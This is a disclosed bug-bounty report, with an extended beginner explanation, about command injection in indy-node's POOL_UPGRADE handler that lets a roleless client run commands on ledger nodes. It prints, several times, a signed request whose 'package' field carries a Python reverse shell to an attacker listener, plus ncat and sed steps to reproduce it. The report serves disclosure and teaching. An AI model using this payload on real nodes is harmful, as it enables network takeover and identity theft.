POOL_UPGRADE request handler may allow an unauthenticated attacker to remotely execute code on every node in the network.
The POOL_UPGRADE request handler accepted an undocumented 'package' field and passed it unsanitised into a shell command, allowing command injection. An unauthenticated client could execute arbitrary commands on every node, potentially compromising the whole network.
Originally disclosed on HackerOne
- Triaged in 11 hours
- Fixed in 12 hours
- Paid in 12 hours
- Disclosed after 31 days
This issue is related to the https://github.com/hyperledger/indy-node.
The issue was found in the indy-node code that handles the write request of type POOL_UPGRADE (in file indy-node/indy_node/server/request_handlers/config_req_handlers/pool_upgrade_handler.py).**
The additional_dynamic_validation function handles an undocumented field called package that can contain the name of the package to be upgraded. I case that this field is not empty, it is passed as is to the following functions self.upgrader.check_upgrade_possible -> NodeControlUtil.curr_pkg_info -> cls._get_curr_info.
def _get_curr_info(cls, package):
cmd = compose_cmd(['dpkg', '-s', package])
return cls.run_shell_command(cmd)
As seen in the code snippet above, the user supplied name is then concatenated to the string dpkg -s and is run as a system command without any sanitization.
This can lead to an attacker supplying a package name, followed by a semicolon and another system command (e.g. package ; whoami), resulting in a remote code execution. This of course can be any command, and in the PoC code attached I’m running a reverse shell, effectively taking control of the node, and possibly the entire network and the identities in it (assuming I run this exploit on enough nodes).
The documentation specifies that the POOL_UPGRADE can be run by a Trustee only, however, we can run this exploit being a client without any roles in the network.
This is made possible by the fact that the authorization that the POOL_UPGRADE handler performs, happens only after the package information has been fetched (using self.upgrader.check_upgrade_possible). Meaning any client can trigger the vulnerable code path and execute code on all the network’s nodes.
Steps to reproduce:
We’ll provide 2 methods for this, using the testing framework and independently; both are detailed below. The malicious POOL_UPGRADE request looks as follows:
{
"identifier": "6ouriXMZkLeHsuXrN1X1fd",
"operation": {
"action": "start",
"name": "test",
"package": "a ; python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"
172.17 .0 .2\\ ",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\" / bin / sh\\ ")\'",
"schedule": {
"4yC546FFzorLPgTNTc6V43DnpFrR8uHvtunBxb2Suaa2": "2022-12-25T10:25:58.271857+00:00",
"AtDfpKFe1RPgcr5nnYBw1Wxkgyn8Zjyh5MzFoEUTeoV3": "2022-12-25T10:26:16.271857+00:00",
"DG5M4zFm33Shrhjj6JB7nmx9BoNJUq219UXDfvwBDPe2": "2022-12-25T10:26:25.271857+00:00",
"JpYerf4CssDrH76z7jyQPJLnZ1vwYgvKbvcp16AB5RQ": "2022-12-25T10:26:07.271857+00:00"
},
"sha256": "db34a72a90d026dae49c3b3f0436c8d3963476c77468ad955845a1ccf7b03f55",
"type": "109",
"version": "1.1"
},
"protocolVersion": 2,
"reqId": 1651152851,
"signature": "4YoXKHNnWRouTUAW4fKuTANnXNJfY2JoPG4PoXfz4PUzjx4NySrAmzkzy6zCiRRf5uczZx5mQVSm1eCZLnUHUDoT"
}
A few notes on some important fields:
package- the undocumented field that leads to the security issue. After the semi-colon we have the injected command. In this case, a Python reverse shell (note that you’ll need to change the IP address and port to point to you)schedule- It’s important only because we need it in order to pass thestatic_validationof this request, just need to set the public nodes and a time in the future.signature- the request should be properly signed by any identity in the network (no role needed)
Run using pytest:
cd indy_node/test/- Drop the
exploit_test.pyfile - Listen for incoming connection on a different machine (e.g.
ncat -lvvp 4444) - Find the following code in the exploit
s.connect(("172.17.0.2",4444)), and replace the address and port for your ones - Disable the testing patch that replaces the vulnerable function in testing mode using the following command
sed -i '/def patchNodeControlUtil().*:/{n;s/.*/ yield/}' conftest.py
6. Run the test and get a reverse shell
pytest -s exploit_test.py
Run independently:
cd indy_node/test/- Drop the
exploit.pyfile - Listen for incoming connection on a different machine (e.g.
ncat -lvvp 4444) - Find the following code in the exploit
s.connect(("172.17.0.2",4444)), and replace the address and port for your ones - Replace the
ADDRESSandPORTwith your target node details (the node’s client port) - Replace the
SERVER_KEYwith the ZeroMQ CURVE Public Certificate of your target node (it is public info)- Server key can also be obtained from the genesis file, and converted the same way it’s done here https://github.com/hyperledger/indy-sdk/blob/master/scripts/test_zmq/src/main.rs or in the
indy-sdkherescripts/test_zmq/src/main.rs:136
- Server key can also be obtained from the genesis file, and converted the same way it’s done here https://github.com/hyperledger/indy-sdk/blob/master/scripts/test_zmq/src/main.rs or in the
- Run the test and get a reverse shell
Impact
Breaking the network’s consensus, stealing every identity, getting to run code on all of the nodes.
Context
Hyperledger Indy is a distributed ledger project, and indy-node is the node implementation that runs the ledger and the pool of validator nodes. Nodes communicate over a request/reply protocol where clients submit signed write requests, and each request type has a handler on the node side.
One of those request types is POOL_UPGRADE. It is the request a network uses to schedule and start an upgrade of the node software across the pool. The handler for it lives in:
indy-node/indy_node/server/request_handlers/config_req_handlers/pool_upgrade_handler.py
The documentation states that POOL_UPGRADE can be run by a Trustee only. That role restriction is the control the feature is supposed to rely on.
Setup
The researcher worked against the indy-node codebase and used two ways of running the exploit: through the project's pytest testing framework, and independently against a running node. The independent path needs the target node's client port and its ZeroMQ CURVE public certificate (the server key), which the researcher notes is public information and can also be obtained from the genesis file.
For the reverse shell, a listener is started on a separate machine, for example:
ncat -lvvp 4444
No account with a role in the network is required: the request only has to be signed by any identity in the network.
Finding it
The researcher looked at the additional_dynamic_validation function in the POOL_UPGRADE handler. That function processes an undocumented field called package, which can contain the name of the package to be upgraded. When the field is not empty, its value is passed as is down the following chain:
self.upgrader.check_upgrade_possible -> NodeControlUtil.curr_pkg_info -> cls._get_curr_info
The end of that chain builds a shell command:
def _get_curr_info(cls, package):
cmd = compose_cmd(['dpkg', '-s', package])
return cls.run_shell_command(cmd)
The user-supplied package name is concatenated into the string dpkg -s and run as a system command with no sanitisation. That is the flaw: a value that arrives in a network request reaches a shell.
Exploitation
Step 1: craft the malicious request
The researcher's POOL_UPGRADE request carries the injected command in the package field:
{
"identifier": "6ouriXMZkLeHsuXrN1X1fd",
"operation": {
"action": "start",
"name": "test",
"package": "a ; python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"
172.17 .0 .2\\ ",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\" / bin / sh\\ ")\'"
,
"schedule": {
"[redacted]": "2022-12-25T10:25:58.271857+00:00",
"[redacted]": "2022-12-25T10:26:16.271857+00:00",
"[redacted]": "2022-12-25T10:26:25.271857+00:00",
"[redacted]": "2022-12-25T10:26:07.271857+00:00"
},
"sha256": "[redacted]",
"type": "109",
"version": "1.1"
},
"protocolVersion": 2,
"reqId": 1651152851,
"signature": "[redacted]"
}
The researcher highlights three fields:
package: the undocumented field that leads to the issue. After the semicolon comes the injected command, here a Python reverse shell. The address and port in it have to be changed to point at the attacker's listener.schedule: needed only to pass thestatic_validationof the request. It has to list the public nodes and a time in the future.signature: the request must be properly signed by any identity in the network. No role is needed.
Step 2: run it through pytest
cd indy_node/test/- Drop the
exploit_test.pyfile - Listen for incoming connection on a different machine (e.g.
ncat -lvvp 4444) - Find the following code in the exploit
s.connect(("[redacted]",4444)), and replace the address and port for your ones - Disable the testing patch that replaces the vulnerable function in testing mode using the following command
sed -i '/def patchNodeControlUtil().*:/{n;s/.*/ yield/}' conftest.py
- Run the test and get a reverse shell
pytest -s exploit_test.py
The sed command matters because the test suite normally patches out the vulnerable function when running in testing mode. Without removing that patch, the test would not exercise the real code path.
Step 3: run it independently
cd indy_node/test/- Drop the
exploit.pyfile ncat -lvvp 4444)- Replace the
ADDRESSandPORTwith your target node details (the node's client port) - Replace the
SERVER_KEYwith the ZeroMQ CURVE Public Certificate of your target node (it is public info)- Server key can also be obtained from the genesis file, and converted the same way it's done here https://github.com/hyperledger/indy-sdk/blob/master/scripts/test_zmq/src/main.rs or in the
indy-sdkherescripts/test_zmq/src/main.rs:136
- Server key can also be obtained from the genesis file, and converted the same way it's done here https://github.com/hyperledger/indy-sdk/blob/master/scripts/test_zmq/src/main.rs or in the
- Run the test and get a reverse shell
Why a roleless client can reach the code
The documentation says only a Trustee may run POOL_UPGRADE. The researcher found that the authorisation the handler performs happens only after the package information has been fetched, through self.upgrader.check_upgrade_possible. So any client can trigger the vulnerable code path and execute code on the network's nodes, without holding any role.
Root cause
Two mistakes combine:
- The
packagevalue from the request is concatenated into a shell command (dpkg -s <package>) and executed without sanitisation. A package name followed by a semicolon and another command, such aspackage ; whoami, is enough to run arbitrary commands. - The role check runs after the package lookup. The dangerous call is made before the request is authorised, so the Trustee restriction does not protect the vulnerable path.
The existing defence, the documented Trustee-only restriction, is therefore applied too late to stop the injection.
Impact
The researcher describes the outcome as breaking the network's consensus, stealing every identity, and running code on all of the nodes. Taking control of a node is possible directly; taking the whole network and the identities in it assumes the exploit is run on enough nodes, as the researcher states.
Fix
The report does not describe a fix or a code change. What it points to is clear from the root cause: the package value must not be passed into a shell command unsanitised, and the authorisation check must happen before any package information is fetched.
Variants to test
- Other request handlers that accept a free-form string and pass it to a shell utility. A positive result is a value containing a command separator that produces observable output or a callback.
- Other undocumented fields in configuration request handlers. A positive result is a field that is accepted by validation and reaches a system call.
- Handlers where validation is split into static and dynamic phases. A positive result is a dynamic check that performs a side effect before the role or signature check completes.
- Test harnesses that patch out dangerous functions. A positive result is a test that passes only because the patch is active, hiding the real behaviour.
Hunting notes
This kind of bug hides where request data is composed into command strings, particularly in administrative or configuration request types that are assumed to be restricted to privileged roles. During recon, the signals are undocumented fields in request schemas, calls into shell helpers such as run_shell_command, and validation code that fetches or computes something before checking who is asking. The researcher showed impact by getting a reverse shell from a request signed by an identity with no role, and provided two ways to run the exploit: through the project's test framework and independently against a node.
What happened, in plain words
A researcher found a way to make a computer that runs part of a blockchain network run any command an attacker chooses, just by sending it a specially crafted message. The message is supposed to be a routine administrative request asking the network to upgrade its software. Instead, a hidden field in that message is passed straight into a system command on the machine, so an attacker can glue their own command onto the end of it. The attacker does not need an account with any special rights. Any identity in the network can sign the message, and the machine will run the injected command before it ever checks whether the sender is allowed to ask for an upgrade.
In the researcher's demonstration the injected command opens a reverse shell, which is a way of giving the attacker an interactive command prompt on the victim machine. Run on enough nodes, that means control of the network and of the identities stored in it.
Background: what the pieces are
Before the details, here is what the moving parts mean.
Blockchain and distributed ledger. A blockchain is a shared record book that many computers keep copies of. Instead of one company holding the database, a group of machines agree on what the record says. If they disagree, the system stops trusting the record.
Hyperledger Indy. This is a project for building such shared ledgers, aimed at things like digital identities. Think of it as a toolkit for a network where several organisations each run a computer and together maintain one trustworthy list of identities.
indy-node. This is the actual program that each of those computers runs. It stores the ledger, talks to the other computers, and decides whether to accept the messages it receives. The bug lives in this program.
Node and pool. A node is one computer running indy-node. The pool is the whole group of nodes working together. A message sent to one node can affect the whole pool, which is why a single flaw here matters so much.
Request and handler. Clients do not edit the ledger directly. They send a request, a structured message describing what they want, and the node has a piece of code called a handler that reads that request and acts on it. It is like a form submitted to an office: the form is the request, the clerk who reads it and files it is the handler.
API. An API is the agreed way one program talks to another: a defined set of messages and formats. Here the API is the request/reply protocol the nodes speak.
Signed request and identity. To prove who sent a request, the sender attaches a cryptographic signature, a mathematical stamp that only the holder of a particular secret key can produce. The identifier in the request names the identity, and the signature proves the request really came from it. An identity is like a passport in the network; holding one does not automatically give you any privileges.
Role and Trustee. Some actions are reserved for identities with a particular role. A Trustee is a privileged role in an Indy network, roughly like an administrator. The documentation says only a Trustee may send the upgrade request we are about to look at.
POOL_UPGRADE. This is the request type a network uses to schedule and start an upgrade of the node software across all the nodes in the pool. It is the administrative form that says "install this new version at these times". Its handler lives in this file:
indy-node/indy_node/server/request_handlers/config_req_handlers/pool_upgrade_handler.py
The documented rule is that only a Trustee can run POOL_UPGRADE. That rule is the only protection the feature is supposed to need.
Command injection. This is the class of bug involved. Programs often build a command line out of pieces of text and hand it to the operating system to run. If one of those pieces comes from an outsider and is not cleaned up first, the outsider can include characters that the operating system treats as instructions, such as a semicolon, which means "and then run the next command too". It is like a form where you write your name, and the clerk reads your entry out loud to a colleague; if you write "Alice, and also open the safe", the colleague may do both.
Sanitisation. Cleaning up input before using it, for example by rejecting or escaping characters that have special meaning. The report's point is that this never happens for the field in question.
Reverse shell. A shell is a command prompt on a machine. A reverse shell is one where the victim machine connects back out to the attacker and hands over that prompt. Attackers prefer it because the victim reaches out to them, which is often easier than reaching in.
ZeroMQ CURVE and server key. ZeroMQ is a messaging library that Indy nodes use to talk to each other. CURVE is its encryption layer, and each node has a public certificate, its server key, used to set up encrypted connections. A public key is meant to be shared, so knowing it is not a secret.
Genesis file. The starting configuration file of an Indy network. It lists the nodes and their connection details, including the public keys, so the server key can be read from it.
pytest. A popular testing tool for Python programs. Developers write small test scripts and pytest runs them. The indy-node project ships tests, and the researcher used them as one way to run the exploit.
dpkg. The package manager on Debian-based Linux systems. dpkg -s <name> asks it for information about an installed package, such as its version.
Setup
The researcher worked against the indy-node codebase and used two ways of running the exploit: through the project's pytest testing framework, and independently against a running node. The independent path needs the target node's client port, the network port on which the node accepts client requests, and its ZeroMQ CURVE public certificate, the server key. The researcher notes that the server key is public information and can also be obtained from the genesis file.
For the reverse shell, a listener is started on a separate machine, for example:
ncat -lvvp 4444
Line by line: ncat is a networking tool that can wait for connections. -l means listen, that is, wait for someone to connect rather than connect out. -vv means be very verbose, printing details about what happens. -p 4444 means use port 4444, a numbered door on the machine through which network traffic arrives. So this command sits on the attacker's machine waiting for the victim to call back on port 4444.
No account with a role in the network is required: the request only has to be signed by any identity in the network.
Finding it
The researcher looked at the additional_dynamic_validation function in the POOL_UPGRADE handler. Validation is the checking a node does on a request before acting on it; dynamic validation is the part that may need to look things up rather than just compare fields. That function processes an undocumented field called package, which can contain the name of the package to be upgraded. Undocumented means it is not part of the published description of the request, but the code still accepts it.
When the field is not empty, its value is passed as is down the following chain:
self.upgrader.check_upgrade_possible -> NodeControlUtil.curr_pkg_info -> cls._get_curr_info
This is a call chain: each name calls the next. The upgrade helper asks whether an upgrade is possible, which asks a utility class for the current package information, which ends in a function that builds a shell command. The end of that chain looks like this:
def _get_curr_info(cls, package):
cmd = compose_cmd(['dpkg', '-s', package])
return cls.run_shell_command(cmd)
Line by line: def _get_curr_info(cls, package): defines a function that receives the package name as an argument. cmd = compose_cmd(['dpkg', '-s', package]) builds a command from a list of pieces: the program dpkg, the option -s, and the package name supplied by the caller. return cls.run_shell_command(cmd) hands that command to the operating system to run and returns the output. The important part is that the package name is simply placed into the command, with no cleaning.
The user-supplied package name is concatenated into the string dpkg -s and run as a system command with no sanitisation. That is the flaw: a value that arrives in a network request reaches a shell. The researcher's example is a package name followed by a semicolon and another command, such as package ; whoami. The semicolon tells the shell that the first command has ended and a second one follows, so the second command runs too. whoami is a harmless example that prints the current user name; the same trick works with any command.
Exploitation
Step 1: craft the malicious request
The researcher's POOL_UPGRADE request carries the injected command in the package field:
{
"identifier": "6ouriXMZkLeHsuXrN1X1fd",
"operation": {
"action": "start",
"name": "test",
"package": "a ; python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"
172.17 .0 .2\\ ",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\" / bin / sh\\ ")\'"
,
"schedule": {
"[redacted]": "2022-12-25T10:25:58.271857+00:00",
"[redacted]": "2022-12-25T10:26:16.271857+00:00",
"[redacted]": "2022-12-25T10:26:25.271857+00:00",
"[redacted]": "2022-12-25T10:26:07.271857+00:00"
},
"sha256": "[redacted]",
"type": "109",
"version": "1.1"
},
"protocolVersion": 2,
"reqId": 1651152851,
"signature": "[redacted]"
}
This is JSON, a text format for structured data: curly braces hold an object, names in quotes are keys, and each key has a value. Reading it piece by piece:
operationis the actual instruction, the body of the form.packageis the undocumented field. Its value begins witha ;, a harmless package name followed by a semicolon, and then a Python one-liner. That one-liner creates a network connection back to the attacker's machine and attaches a shell to it. The address and port in it have to be changed to point at the attacker's listener.scheduleis needed to pass the request's static validation: it must list the public nodes and a time in the future. The timestamps are in the future, which is what the request's static validation requires.signatureis the cryptographic stamp proving the request came from the identity inidentifier.
The researcher highlights three fields:
package: the undocumented field that leads to the issue. After the semicolon comes the injected command, here a Python reverse shell.schedule: needed only to pass thestatic_validationof the request. Static validation is the part of the checking that only compares fields, without looking anything up. It has to list the public nodes and a time in the future.signature: the request must be properly signed by any identity in the network. No role is needed.
Step 2: run it through pytest
cd indy_node/test/- Drop the
exploit_test.pyfile - Listen for incoming connection on a different machine (e.g.
ncat -lvvp 4444) - Find the following code in the exploit
s.connect(("[redacted]",4444)), and replace the address and port for your ones - Disable the testing patch that replaces the vulnerable function in testing mode using the following command
sed -i '/def patchNodeControlUtil().*:/{n;s/.*/ yield/}' conftest.py
- Run the test and get a reverse shell
pytest -s exploit_test.py
Why each step: step 1 moves into the project's test directory, where the tests and their configuration live. Step 2 places the researcher's exploit script there so the test runner can find it. Step 3 starts the listener that will receive the reverse shell. Step 4 edits the exploit so the callback goes to the attacker's own machine rather than the address used in the demonstration. Step 5 is the subtle one, explained below. Step 6 runs the test and gets a reverse shell.
The sed command matters because the test suite normally patches out the vulnerable function when running in testing mode. A patch here means a temporary replacement: the test setup swaps the real function for a harmless stand-in so that tests do not touch the system. Without removing that patch, the test would not exercise the real code path. sed is a command-line text editor. -i means edit the file in place. The expression looks for the line defining patchNodeControlUtil, then on the following line replaces whatever is there with yield, which turns the replacement into a no-op that simply hands control back. The file being edited, conftest.py, is the configuration file pytest reads for shared test setup.
Step 3: run it independently
cd indy_node/test/- Drop the
exploit.pyfile ncat -lvvp 4444)- Replace the
ADDRESSandPORTwith your target node details (the node's client port) - Replace the
SERVER_KEYwith the ZeroMQ CURVE Public Certificate of your target node (it is public info)- Server key can also be obtained from the genesis file, and converted the same way it's done here https://github.com/hyperledger/indy-sdk/blob/master/scripts/test_zmq/src/main.rs or in the
indy-sdkherescripts/test_zmq/src/main.rs:136
- Server key can also be obtained from the genesis file, and converted the same way it's done here https://github.com/hyperledger/indy-sdk/blob/master/scripts/test_zmq/src/main.rs or in the
- Run the test and get a reverse shell
Steps 1 to 4 are the same as before. Step 5 fills in where the target node listens for clients, so the exploit knows where to send the request. Step 6 fills in the node's ZeroMQ CURVE public certificate, which is public information and can also be obtained from the genesis file. Step 7 runs the test and gets a reverse shell.
Why a roleless client can reach the code
The documentation says only a Trustee may run POOL_UPGRADE. The researcher found that the authorisation the handler performs happens only after the package information has been fetched, through self.upgrader.check_upgrade_possible. Authorisation is the check of whether the sender is allowed to do this at all. Because the package information is fetched first, the check comes too late: the vulnerable code path runs before anyone asks whether the sender had the right role. So any client can trigger the vulnerable code path and execute code on the network's nodes, without holding any role. It is like a building where the receptionist fetches the file you asked for before checking your badge, so the fetching itself is the risk.
Root cause
Two mistakes combine:
- The
packagevalue from the request is concatenated into a shell command (dpkg -s <package>) and executed without sanitisation. A package name followed by a semicolon and another command, such aspackage ; whoami, is enough to run arbitrary commands. - The role check runs after the package lookup. The dangerous call is made before the request is authorised, so the Trustee restriction does not protect the vulnerable path.
The existing defence, the documented Trustee-only restriction, is therefore applied too late to stop the injection.
Impact
The researcher describes the outcome as breaking the network's consensus, stealing every identity, and running code on all of the nodes. Taking control of a node is possible directly; taking the whole network and the identities in it assumes the exploit is run on enough nodes, as the researcher states.
Fix
The report does not describe a fix or a code change. What it points to is clear from the root cause: the package value must not be passed into a shell command unsanitised, and the authorisation check must happen before any package information is fetched.
Variants to test
- Other request handlers that accept a free-form string and pass it to a shell utility. A positive result is a value containing a command separator that produces observable output or a callback.
- Other undocumented fields in configuration request handlers. A positive result is a field that is accepted by validation and reaches a system call.
- Handlers where validation is split into static and dynamic phases. A positive result is a dynamic check that performs a side effect before the role or signature check completes.
- Test harnesses that patch out dangerous functions. A positive result is a test that passes only because the patch is active, hiding the real behaviour.
Hunting notes
This kind of bug hides where request data is composed into command strings, particularly in administrative or configuration request types that are assumed to be restricted to privileged roles. During recon, the signals are undocumented fields in request schemas, calls into shell helpers such as run_shell_command, and validation code that fetches or computes something before checking who is asking. The researcher showed impact by getting a reverse shell from a request signed by an identity with no role, and provided two ways to run the exploit: through the project's test framework and independently against a node.
Glossary
- API: the agreed set of messages and formats through which one program talks to another.
- Authorisation: the check of whether a sender is allowed to perform an action.
- Blockchain: a shared record book kept in agreement by many computers rather than one owner.
- Client port: the network port on which a node accepts requests from clients.
- Command injection: a flaw where untrusted text is placed into a system command, letting an attacker add their own commands.
- Concatenation: joining pieces of text end to end into one string.
- Consensus: the process by which nodes agree on the contents of the ledger.
- CURVE: the encryption layer of the ZeroMQ messaging library used by Indy nodes.
dpkg: the package manager on Debian-based Linux systems;dpkg -sshows information about a package.- Dynamic validation: request checking that may need to look something up rather than only compare fields.
- Genesis file: the starting configuration file of an Indy network, listing nodes and their connection details.
- Handler: the piece of node code that reads a particular request type and acts on it.
- Identity: a named participant in the network, proven by a cryptographic signature.
indy-node: the program each computer in an Indy network runs to store the ledger and handle requests.- JSON: a text format for structured data made of keys and values.
- Listener: a program waiting on a network port for an incoming connection.
ncat: a networking tool that can listen for or make connections.- Node: one computer running
indy-nodeas part of the network. - Patch (in testing): a temporary replacement of a function, here used so tests do not touch the real system.
POOL_UPGRADE: the request type used to schedule and start a software upgrade across the pool of nodes.- Pool: the whole group of nodes working together.
pytest: a testing tool for Python programs.- Reverse shell: a command prompt on a victim machine that connects back out to the attacker.
- Role: a privilege level attached to an identity, such as Trustee.
- Sanitisation: cleaning input so that special characters cannot be interpreted as instructions.
sed: a command-line text editing tool.- Server key: a node's public ZeroMQ CURVE certificate, used to set up encrypted connections; it is public information.
- Shell: a command prompt through which a user or program runs commands on a machine.
- Signature: a cryptographic stamp proving a message came from the holder of a particular secret key.
- Static validation: request checking that only compares fields, without looking anything up.
- Trustee: a privileged role in an Indy network, roughly an administrator.
- ZeroMQ: the messaging library Indy nodes use to communicate.